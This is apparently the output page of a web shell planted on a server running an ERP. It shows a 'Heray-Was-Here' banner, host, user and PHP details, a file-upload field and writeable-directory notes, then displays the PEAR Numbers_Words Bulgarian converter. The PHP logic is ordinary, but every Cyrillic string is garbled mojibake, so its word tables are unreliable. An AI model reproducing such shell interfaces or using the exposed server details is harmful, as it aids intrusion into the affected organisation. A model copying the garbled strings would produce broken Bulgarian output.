Heray-Was-Here
Server : Apache
System : Linux mail.lomejor.cr 6.8.0-1059-azure #65~22.04.1-Ubuntu SMP Thu May 28 16:59:19 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /var/www/erp/htdocs/custom/numberwords/includes/Numbers/Words/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/erp/htdocs/custom/numberwords/includes/Numbers/Words/lang.bg.php
<?php
/**
 * Numbers_Words
 *
 * PHP version 4
 *
 * Copyright (c) 1997-2006 The PHP Group
 *
 * This source file is subject to version 3.0 of the PHP license,
 * that is bundled with this package in the file LICENSE, and is
 * available at through the world-wide-web at
 * http://www.php.net/license/3_0.txt.
 * If you did not receive a copy of the PHP license and are unable to
 * obtain it through the world-wide-web, please send a note to
 * license@php.net so we can mail you a copy immediately.
 *
 * @category Numbers
 * @package  Numbers_Words
 * @author   Kouber Saparev <kouber@php.net>
 * @license  PHP 3.0 http://www.php.net/license/3_0.txt
 * @version  SVN: $Id: lang.bg.php 302816 2010-08-26 16:02:29Z ifeghali $
 * @link     http://pear.php.net/package/Numbers_Words
 */

/**
 * Include needed files
 */
require_once "Numbers/Words.php";

/**
 * Class for translating numbers into Bulgarian.
 *
 * @category Numbers
 * @package  Numbers_Words
 * @author   Kouber Saparev <kouber@php.net>
 * @license  PHP 3.0 http://www.php.net/license/3_0.txt
 * @link     http://pear.php.net/package/Numbers_Words
 */
class Numbers_Words_bg extends Numbers_Words
{

	// {{{ properties

	/**
	 * Locale name.
	 * @var string
	 * @access public
	 */
	var $locale = 'bg';

	/**
	 * Language name in English.
	 * @var string
	 * @access public
	 */
	var $lang = 'Bulgarian';

	/**
	 * Native language name.
	 * @var string
	 * @access public
	 */
	var $lang_native = 'Π‘ΡŠΠ»Π³Π°Ρ€ΡΠΊΠΈ';

	/**
	 * Some miscellaneous words and language constructs.
	 * @var string
	 * @access private
	 */
	var $_misc_strings = array(
		'deset'=>'дСсСт',           // "ten"
		'edinadeset'=>'СдинадСсСт', // "eleven"
		'na'=>'Π½Π°',                 // liaison particle for 12 to 19
		'sto'=>'сто',               // "hundred"
		'sta'=>'ста',               // suffix for 2 and 3 hundred
		'stotin'=>'стотин',         // suffix for 4 to 9 hundred
		'hiliadi'=>'хиляди'         // plural form of "thousand"
	);



	/**
	 * The words for digits (except zero). Note that, there are three genders for them (neuter, masculine and feminine).
	 * The words for 3 to 9 (masculine) and for 2 to 9 (feminine) are the same as neuter, so they're filled
	 * in the _initDigits() method, which is invoked from the constructor.
	 * @var string
	 * @access private
	 */
	var $_digits = array(
		0=>array(1=>"Π΅Π΄Π½ΠΎ", "Π΄Π²Π΅", "Ρ‚Ρ€ΠΈ", "Ρ‡Π΅Ρ‚ΠΈΡ€ΠΈ", "ΠΏΠ΅Ρ‚", "ΡˆΠ΅ΡΡ‚", "сСдСм", "осСм", "Π΄Π΅Π²Π΅Ρ‚"), // neuter
		1=>array(1=>'Π΅Π΄ΠΈΠ½', 'Π΄Π²Π°'),                                                           // masculine
		-1=>array(1=>'Π΅Π΄Π½Π°')                                                                   // feminine
	);

	/**
	 * A flag, that determines if the _digits array is filled for masculine and feminine genders.
	 * @var string
	 * @access private
	 */
	var $_digits_initialized = false;

	/**
	 * A flag, that determines if the "and" word is placed already before the last non-empty group of digits.
	 * @var string
	 * @access private
	 */
	var $_last_and = false;

	/**
	 * The word for zero.
	 * @var string
	 * @access private
	 */
	var $_zero = 'Π½ΡƒΠ»Π°';

	/**
	 * The word for infinity.
	 * @var string
	 * @access private
	 */
	var $_infinity = 'бСзкрайност';

	/**
	 * The word for the "and" language construct.
	 * @var string
	 * @access private
	 */
	var $_and = 'ΠΈ';

	/**
	 * The word separator.
	 * @var string
	 * @access private
	 */
	var $_sep = ' ';

	/**
	 * The word for the minus sign.
	 * @var string
	 * @access private
	 */
	var $_minus = 'минус'; // minus sign

	/**
	 * The plural suffix (except for thousand).
	 * @var string
	 * @access private
	 */
	var $_plural = 'Π°'; // plural suffix

	/**
	 * The suffixes for exponents (singular).
	 * @var array
	 * @access private
	 */
	var $_exponent = array(
		0 => '',
		3 => 'хиляда',
		6 => 'ΠΌΠΈΠ»ΠΈΠΎΠ½',
		9 => 'ΠΌΠΈΠ»ΠΈΠ°Ρ€Π΄',
		12 => 'Ρ‚Ρ€ΠΈΠ»ΠΈΠΎΠ½',
		15 => 'ΠΊΠ²Π°Π΄Ρ€ΠΈΠ»ΠΈΠΎΠ½',
		18 => 'ΠΊΠ²ΠΈΠ½Ρ‚ΠΈΠ»ΠΈΠΎΠ½',
		21 => 'сСкстилион',
		24 => 'сСптилион',
		27 => 'ΠΎΠΊΡ‚ΠΈΠ»ΠΈΠΎΠ½',
		30 => 'Π½ΠΎΠ½Π°Π»ΠΈΠΎΠ½',
		33 => 'Π΄Π΅ΠΊΠ°Π»ΠΈΠΎΠ½',
		36 => 'ΡƒΠ½Π΄Π΅ΠΊΠ°Π»ΠΈΠΎΠ½',
		39 => 'Π΄ΡƒΠΎΠ΄Π΅ΠΊΠ°Π»ΠΈΠΎΠ½',
		42 => 'Ρ‚Ρ€Π΅Π΄Π΅ΠΊΠ°Π»ΠΈΠΎΠ½',
		45 => 'ΠΊΠ²Π°Ρ‚ΠΎΡ€Π΄Π΅ΠΊΠ°Π»ΠΈΠΎΠ½',
		48 => 'ΠΊΠ²ΠΈΠ½Ρ‚Π΄Π΅ΠΊΠ°Π»ΠΈΠΎΠ½',
		51 => 'сСксдСкалион',
		54 => 'сСптдСкалион',
		57 => 'ΠΎΠΊΡ‚ΠΎΠ΄Π΅ΠΊΠ°Π»ΠΈΠΎΠ½',
		60 => 'Π½ΠΎΠ²Π΅ΠΌΠ΄Π΅ΠΊΠ°Π»ΠΈΠΎΠ½',
		63 => 'Π²ΠΈΠ³ΠΈΠ½Ρ‚ΠΈΠ»ΠΈΠΎΠ½',
		66 => 'ΡƒΠ½Π²ΠΈΠ³ΠΈΠ½Ρ‚ΠΈΠ»ΠΈΠΎΠ½',
		69 => 'Π΄ΡƒΠΎΠ²ΠΈΠ³ΠΈΠ½Ρ‚ΠΈΠ»ΠΈΠΎΠ½',
		72 => 'Ρ‚Ρ€Π΅Π²ΠΈΠ³ΠΈΠ½Ρ‚ΠΈΠ»ΠΈΠΎΠ½',
		75 => 'ΠΊΠ²Π°Ρ‚ΠΎΡ€Π²ΠΈΠ³ΠΈΠ½Ρ‚ΠΈΠ»ΠΈΠΎΠ½',
		78 => 'ΠΊΠ²ΠΈΠ½Π²ΠΈΠ³ΠΈΠ½Ρ‚ΠΈΠ»ΠΈΠΎΠ½',
		81 => 'сСксвигинтилион',
		84 => 'сСптСнвигинтилион',
		87 => 'ΠΎΠΊΡ‚ΠΎΠ²ΠΈΠ³ΠΈΠ½Ρ‚ΠΈΠ»ΠΈΠΎΠ½',
		90 => 'Π½ΠΎΠ²Π΅ΠΌΠ²ΠΈΠ³ΠΈΠ½Ρ‚ΠΈΠ»ΠΈΠΎΠ½',
		93 => 'Ρ‚Ρ€ΠΈΠ³ΠΈΠ½Ρ‚ΠΈΠ»ΠΈΠΎΠ½',
		96 => 'ΡƒΠ½Ρ‚Ρ€ΠΈΠ³ΠΈΠ½Ρ‚ΠΈΠ»ΠΈΠΎΠ½',
		99 => 'Π΄ΡƒΠΎΡ‚Ρ€ΠΈΠ³ΠΈΠ½Ρ‚ΠΈΠ»ΠΈΠΎΠ½',
		102 => 'Ρ‚Ρ€Π΅Ρ‚Ρ€ΠΈΠ³ΠΈΠ½Ρ‚ΠΈΠ»ΠΈΠΎΠ½',
		105 => 'ΠΊΠ²Π°Ρ‚ΠΎΡ€Ρ‚Ρ€ΠΈΠ³ΠΈΠ½Ρ‚ΠΈΠ»ΠΈΠΎΠ½',
		108 => 'ΠΊΠ²ΠΈΠ½Ρ‚Ρ€ΠΈΠ³ΠΈΠ½Ρ‚ΠΈΠ»ΠΈΠΎΠ½',
		111 => 'сСкстригинтилион',
		114 => 'сСптСнтригинтилион',
		117 => 'ΠΎΠΊΡ‚ΠΎΡ‚Ρ€ΠΈΠ³ΠΈΠ½Ρ‚ΠΈΠ»ΠΈΠΎΠ½',
		120 => 'Π½ΠΎΠ²Π΅ΠΌΡ‚Ρ€ΠΈΠ³ΠΈΠ½Ρ‚ΠΈΠ»ΠΈΠΎΠ½',
		123 => 'ΠΊΠ²Π°Π΄Ρ€Π°Π³ΠΈΠ½Ρ‚ΠΈΠ»ΠΈΠΎΠ½',
		126 => 'ΡƒΠ½ΠΊΠ²Π°Π΄Ρ€Π°Π³ΠΈΠ½Ρ‚ΠΈΠ»ΠΈΠΎΠ½',
		129 => 'Π΄ΡƒΠΎΠΊΠ²Π°Π΄Ρ€Π°Π³ΠΈΠ½Ρ‚ΠΈΠ»ΠΈΠΎΠ½',
		132 => 'Ρ‚Ρ€Π΅ΠΊΠ²Π°Π΄Ρ€Π°Π³ΠΈΠ½Ρ‚ΠΈΠ»ΠΈΠΎΠ½',
		135 => 'ΠΊΠ²Π°Ρ‚ΠΎΡ€ΠΊΠ²Π°Π΄Ρ€Π°Π³ΠΈΠ½Ρ‚ΠΈΠ»ΠΈΠΎΠ½',
		138 => 'ΠΊΠ²ΠΈΠ½ΠΊΠ²Π°Π΄Ρ€Π°Π³ΠΈΠ½Ρ‚ΠΈΠ»ΠΈΠΎΠ½',
		141 => 'сСксквадрагинтилион',
		144 => 'сСптСнквадрагинтилион',
		147 => 'ΠΎΠΊΡ‚ΠΎΠΊΠ²Π°Π΄Ρ€Π°Π³ΠΈΠ½Ρ‚ΠΈΠ»ΠΈΠΎΠ½',
		150 => 'Π½ΠΎΠ²Π΅ΠΌΠΊΠ²Π°Π΄Ρ€Π°Π³ΠΈΠ½Ρ‚ΠΈΠ»ΠΈΠΎΠ½',
		153 => 'ΠΊΠ²ΠΈΠ½ΠΊΠ²Π°Π³ΠΈΠ½Ρ‚ΠΈΠ»ΠΈΠΎΠ½',
		156 => 'ΡƒΠ½ΠΊΠ²ΠΈΠ½ΠΊΠ°Π³ΠΈΠ½Ρ‚ΠΈΠ»ΠΈΠΎΠ½',
		159 => 'Π΄ΡƒΠΎΠΊΠ²ΠΈΠ½ΠΊΠ°Π³ΠΈΠ½Ρ‚ΠΈΠ»ΠΈΠΎΠ½',
		162 => 'Ρ‚Ρ€Π΅ΠΊΠ²ΠΈΠ½ΠΊΠ°Π³ΠΈΠ½Ρ‚ΠΈΠ»ΠΈΠΎΠ½',
		165 => 'ΠΊΠ²Π°Ρ‚ΠΎΡ€ΠΊΠ²ΠΈΠ½ΠΊΠ°Π³ΠΈΠ½Ρ‚ΠΈΠ»ΠΈΠΎΠ½',
		168 => 'ΠΊΠ²ΠΈΠ½ΠΊΠ²ΠΈΠ½ΠΊΠ°Π³ΠΈΠ½Ρ‚ΠΈΠ»ΠΈΠΎΠ½',
		171 => 'сСксквинкагинтилион',
		174 => 'сСптСнквинкагинтилион',
		177 => 'ΠΎΠΊΡ‚ΠΎΠΊΠ²ΠΈΠ½ΠΊΠ°Π³ΠΈΠ½Ρ‚ΠΈΠ»ΠΈΠΎΠ½',
		180 => 'Π½ΠΎΠ²Π΅ΠΌΠΊΠ²ΠΈΠ½ΠΊΠ°Π³ΠΈΠ½Ρ‚ΠΈΠ»ΠΈΠΎΠ½',
		183 => 'сСксагинтилион',
		186 => 'унсСксагинтилион',
		189 => 'дуосСксагинтилион',
		192 => 'трСсСксагинтилион',
		195 => 'кваторсСксагинтилион',
		198 => 'квинсСксагинтилион',
		201 => 'сСкссСксагинтилион',
		204 => 'сСптСнсСксагинтилион',
		207 => 'октосСксагинтилион',
		210 => 'новСмсСксагинтилион',
		213 => 'сСптагинтилион',
		216 => 'унсСптагинтилион',
		219 => 'дуосСптагинтилион',
		222 => 'трСсСптагинтилион',
		225 => 'кваторсСптагинтилион',
		228 => 'квинсСптагинтилион',
		231 => 'сСкссСптагинтилион',
		234 => 'сСптСнсСптагинтилион',
		237 => 'октосСптагинтилион',
		240 => 'новСмсСптагинтилион',
		243 => 'ΠΎΠΊΡ‚ΠΎΠ³ΠΈΠ½Ρ‚ΠΈΠ»ΠΈΠΎΠ½',
		246 => 'ΡƒΠ½ΠΎΠΊΡ‚ΠΎΠ³ΠΈΠ½Ρ‚ΠΈΠ»ΠΈΠΎΠ½',
		249 => 'Π΄ΡƒΠΎΠΎΠΊΡ‚ΠΎΠ³ΠΈΠ½Ρ‚ΠΈΠ»ΠΈΠΎΠ½',
		252 => 'Ρ‚Ρ€Π΅ΠΎΠΊΡ‚ΠΎΠ³ΠΈΠ½Ρ‚ΠΈΠ»ΠΈΠΎΠ½',
		255 => 'ΠΊΠ²Π°Ρ‚ΠΎΡ€ΠΎΠΊΡ‚ΠΎΠ³ΠΈΠ½Ρ‚ΠΈΠ»ΠΈΠΎΠ½',
		258 => 'ΠΊΠ²ΠΈΠ½ΠΎΠΊΡ‚ΠΎΠ³ΠΈΠ½Ρ‚ΠΈΠ»ΠΈΠΎΠ½',
		261 => 'сСксоктогинтилион',
		264 => 'сСптоктогинтилион',
		267 => 'ΠΎΠΊΡ‚ΠΎΠΎΠΊΡ‚ΠΎΠ³ΠΈΠ½Ρ‚ΠΈΠ»ΠΈΠΎΠ½',
		270 => 'Π½ΠΎΠ²Π΅ΠΌΠΎΠΊΡ‚ΠΎΠ³ΠΈΠ½Ρ‚ΠΈΠ»ΠΈΠΎΠ½',
		273 => 'Π½ΠΎΠ½Π°Π³ΠΈΠ½Ρ‚ΠΈΠ»ΠΈΠΎΠ½',
		276 => 'ΡƒΠ½Π½ΠΎΠ½Π°Π³ΠΈΠ½Ρ‚ΠΈΠ»ΠΈΠΎΠ½',
		279 => 'Π΄ΡƒΠΎΠ½ΠΎΠ½Π°Π³ΠΈΠ½Ρ‚ΠΈΠ»ΠΈΠΎΠ½',
		282 => 'Ρ‚Ρ€Π΅Π½ΠΎΠ½Π°Π³ΠΈΠ½Ρ‚ΠΈΠ»ΠΈΠΎΠ½',
		285 => 'ΠΊΠ²Π°Ρ‚ΠΎΡ€Π½ΠΎΠ½Π°Π³ΠΈΠ½Ρ‚ΠΈΠ»ΠΈΠΎΠ½',
		288 => 'ΠΊΠ²ΠΈΠ½Π½ΠΎΠ½Π°Π³ΠΈΠ½Ρ‚ΠΈΠ»ΠΈΠΎΠ½',
		291 => 'сСкснонагинтилион',
		294 => 'сСптСннонагинтилион',
		297 => 'ΠΎΠΊΡ‚ΠΎΠ½ΠΎΠ½Π°Π³ΠΈΠ½Ρ‚ΠΈΠ»ΠΈΠΎΠ½',
		300 => 'Π½ΠΎΠ²Π΅ΠΌΠ½ΠΎΠ½Π°Π³ΠΈΠ½Ρ‚ΠΈΠ»ΠΈΠΎΠ½',
		303 => 'Ρ†Π΅Π½Ρ‚ΠΈΠ»ΠΈΠΎΠ½'
	);
	// }}}

	// {{{ Numbers_Words_bg()

	/**
	 * The class constructor, used for calling the _initDigits method.
	 *
	 * @return void
	 *
	 * @access public
	 * @author Kouber Saparev <kouber@php.net>
	 * @see function _initDigits
	 */
	function Numbers_Words_bg()
	{
		$this->_initDigits();
	}
	// }}}

	// {{{ _initDigits()

	/**
	 * Fills the _digits array for masculine and feminine genders with
	 * corresponding references to neuter words (when they're the same).
	 *
	 * @return void
	 *
	 * @access private
	 * @author Kouber Saparev <kouber@php.net>
	 */
	function _initDigits()
	{
		if (!$this->_digits_initialized) {
			for ($i=3; $i<=9; $i++) {
				$this->_digits[1][$i] =& $this->_digits[0][$i];
			}
			for ($i=2; $i<=9; $i++) {
				$this->_digits[-1][$i] =& $this->_digits[0][$i];
			}
			$this->_digits_initialized = true;
		}
	}
	// }}}

	// {{{ _splitNumber()

	/**
	 * Split a number to groups of three-digit numbers.
	 *
	 * @param mixed $num An integer or its string representation
	 *                   that need to be split
	 *
	 * @return array  Groups of three-digit numbers.
	 *
	 * @access private
	 * @author Kouber Saparev <kouber@php.net>
	 * @since  PHP 4.2.3
	 */
	function _splitNumber($num)
	{
		if (is_string($num)) {
			$ret = array();

			$strlen = strlen($num);
			$first  = substr($num, 0, $strlen%3);

			preg_match_all('/\d{3}/', substr($num, $strlen%3, $strlen), $m);

			$ret =& $m[0];
			if ($first) {
				array_unshift($ret, $first);
			}
			return $ret;
		}

		return explode(' ', number_format($num, 0, '', ' ')); // a faster version for integers
	}
	// }}}

	// {{{ _showDigitsGroup()

	/**
	 * Converts a three-digit number to its word representation
	 * in Bulgarian language.
	 *
	 * @param integer $num    An integer between 1 and 999 inclusive.
	 * @param integer $gender An integer which represents the gender of
	 *                        the current digits group.
	 *                        0 - neuter
	 *                        1 - masculine
	 *                        -1 - feminine
	 * @param boolean $last   A flag that determines if the current digits group
	 *                        is the last one.
	 *
	 * @return string   The words for the given number.
	 *
	 * @access private
	 * @author Kouber Saparev <kouber@php.net>
	 */
	function _showDigitsGroup($num, $gender = 0, $last = false)
	{
		/* A storage array for the return string.
			 Positions 1, 3, 5 are intended for digit words
			 and everything else (0, 2, 4) for "and" words.
			 Both of the above types are optional, so the size of
			 the array may vary.
		*/
		$ret = array();

		// extract the value of each digit from the three-digit number
		$e = $num%10;                  // ones
		$d = ($num-$e)%100/10;         // tens
		$s = ($num-$d*10-$e)%1000/100; // hundreds

		// process the "hundreds" digit.
		if ($s) {
			switch ($s) {
				case 1:
					$ret[1] = $this->_misc_strings['sto'];
				break;
				case 2:
				case 3:
					$ret[1] = $this->_digits[0][$s].$this->_misc_strings['sta'];
				break;
				default:
					$ret[1] = $this->_digits[0][$s].$this->_misc_strings['stotin'];
			}
		}

		// process the "tens" digit, and optionally the "ones" digit.
		if ($d) {
			// in the case of 1, the "ones" digit also must be processed
			if ($d==1) {
				if (!$e) {
					$ret[3] = $this->_misc_strings['deset']; // ten
				} else {
					if ($e==1) {
						$ret[3] = $this->_misc_strings['edinadeset']; // eleven
					} else {
						$ret[3] = $this->_digits[1][$e].$this->_misc_strings['na'].$this->_misc_strings['deset']; // twelve - nineteen
					}
					// the "ones" digit is alredy processed, so skip a second processment
					$e = 0;
				}
			} else {
				$ret[3] = $this->_digits[1][$d].$this->_misc_strings['deset']; // twenty - ninety
			}
		}

		// process the "ones" digit
		if ($e) {
			$ret[5] = $this->_digits[$gender][$e];
		}

		// put "and" where needed
		if (count($ret)>1) {
			if ($e) {
				$ret[4] = $this->_and;
			} else {
				$ret[2] = $this->_and;
			}
		}

		// put "and" optionally in the case this is the last non-empty group
		if ($last) {
			if (!$s||count($ret)==1) {
				$ret[0] = $this->_and;
			}
			$this->_last_and = true;
		}

		// sort the return array so that "and" constructs go to theirs appropriate places
		ksort($ret);

		return implode($this->_sep, $ret);
	}
	// }}}

	// {{{ _toWords()

	/**
	 * Converts a number to its word representation
	 * in Bulgarian language.
	 *
	 * @param integer $num An integer between 9.99*-10^302 and 9.99*10^302 (999 centillions)
	 *                     that need to be converted to words
	 *
	 * @return string  The corresponding word representation
	 *
	 * @access protected
	 * @author Kouber Saparev <kouber@php.net>
	 * @since  Numbers_Words 0.16.3
	 */
	function _toWords($num = 0)
	{
		$ret = array();

		$ret_minus = '';

		// check if $num is a valid non-zero number
		if (!$num || preg_match('/^-?0+$/', $num) || !preg_match('/^-?\d+$/', $num)) {
			return $this->_zero;
		}

		// add a minus sign
		if (substr($num, 0, 1) == '-') {
			$ret_minus = $this->_minus . $this->_sep;

			$num = substr($num, 1);
		}

		// if the absolute value is greater than 9.99*10^302, return infinity
		if (strlen($num) > 306) {
			return $ret_minus . $this->_infinity;
		}

		// strip excessive zero signs
		$num = ltrim($num, '0');

		// split $num to groups of three-digit numbers
		$num_groups = $this->_splitNumber($num);

		$sizeof_numgroups = count($num_groups);

		// go through the groups in reverse order, so that the last group could be determined
		for ($i=$sizeof_numgroups-1, $j=1; $i>=0; $i--, $j++) {
			if (!isset($ret[$j])) {
				$ret[$j] = '';
			}

			// what is the corresponding exponent for the current group
			$pow = $sizeof_numgroups-$i;

			// skip processment for empty groups
			if ($num_groups[$i]!='000') {
				if ($num_groups[$i]>1) {
					if ($pow==1) {
						$ret[$j] .= $this->_showDigitsGroup($num_groups[$i], 0, !$this->_last_and && $i).$this->_sep;
						$ret[$j] .= $this->_exponent[($pow-1)*3];
					} elseif ($pow==2) {
						$ret[$j] .= $this->_showDigitsGroup($num_groups[$i], -1, !$this->_last_and && $i).$this->_sep;
						$ret[$j] .= $this->_misc_strings['hiliadi'].$this->_sep;
					} else {
						$ret[$j] .= $this->_showDigitsGroup($num_groups[$i], 1, !$this->_last_and && $i).$this->_sep;
						$ret[$j] .= $this->_exponent[($pow-1)*3].$this->_plural.$this->_sep;
					}
				} else {
					if ($pow==1) {
						$ret[$j] .= $this->_showDigitsGroup($num_groups[$i], 0, !$this->_last_and && $i).$this->_sep;
					} elseif ($pow==2) {
						$ret[$j] .= $this->_exponent[($pow-1)*3].$this->_sep;
					} else {
						$ret[$j] .= $this->_digits[1][1].$this->_sep.$this->_exponent[($pow-1)*3].$this->_sep;
					}
				}
			}
		}

		return $ret_minus . rtrim(implode('', array_reverse($ret)), $this->_sep);
	}
	// }}}

	/**
	 * Converts a currency value to its word representation
	 * (with monetary units) in English language
	 *
	 * @param integer $int_curr         An international currency symbol
	 *                                  as defined by the ISO 4217 standard (three characters)
	 * @param integer $decimal          A money total amount without fraction part (e.g. amount of dollars)
	 * @param integer $fraction         Fractional part of the money amount (e.g. amount of cents)
	 *                                  Optional. Defaults to false.
	 * @param integer $convert_fraction Convert fraction to words (left as numeric if set to false).
	 *                                  Optional. Defaults to true.
	 *
	 * @return string  The corresponding word representation for the currency
	 *
	 * @access public
	 * @author Piotr Klaban <makler@man.torun.pl>
	 * @since  Numbers_Words 0.4
	 */
	function toCurrencyWords($int_curr, $decimal, $fraction = false, $convert_fraction = true)
	{
		$int_curr = strtoupper($int_curr);
		if (!isset($this->_currency_names[$int_curr])) {
			$int_curr = $this->def_currency;
		}
		$curr_names = $this->_currency_names[$int_curr];

		$ret = trim($this->_toWords($decimal));
		$lev = ($decimal == 1) ? 0 : 1;
		if ($lev > 0) {
			if (count($curr_names[0]) > 1) {
				$ret .= $this->_sep . $curr_names[0][$lev];
			} else {
				$ret .= $this->_sep . $curr_names[0][0] . 's';
			}
		} else {
			$ret .= $this->_sep . $curr_names[0][0];
		}

		if ($fraction !== false) {
			if ($convert_fraction) {
				$ret .= $this->_sep . trim($this->_toWords($fraction));
			} else {
				$ret .= $this->_sep . $fraction;
			}
			$lev = ($fraction == 1) ? 0 : 1;
			if ($lev > 0) {
				if (count($curr_names[1]) > 1) {
					$ret .= $this->_sep . $curr_names[1][$lev];
				} else {
					//$ret .= $this->_sep . $curr_names[1][0] . 's';
					$ret .= $this->_sep . $curr_names[1][0];
				}
			} else {
				$ret .= $this->_sep . $curr_names[1][0];
			}
		}
		return $ret;
	}
}

Hry